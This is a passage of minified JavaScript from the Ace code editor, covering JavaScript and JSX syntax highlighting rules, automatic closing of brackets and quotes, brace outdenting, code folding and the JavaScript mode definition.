if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var 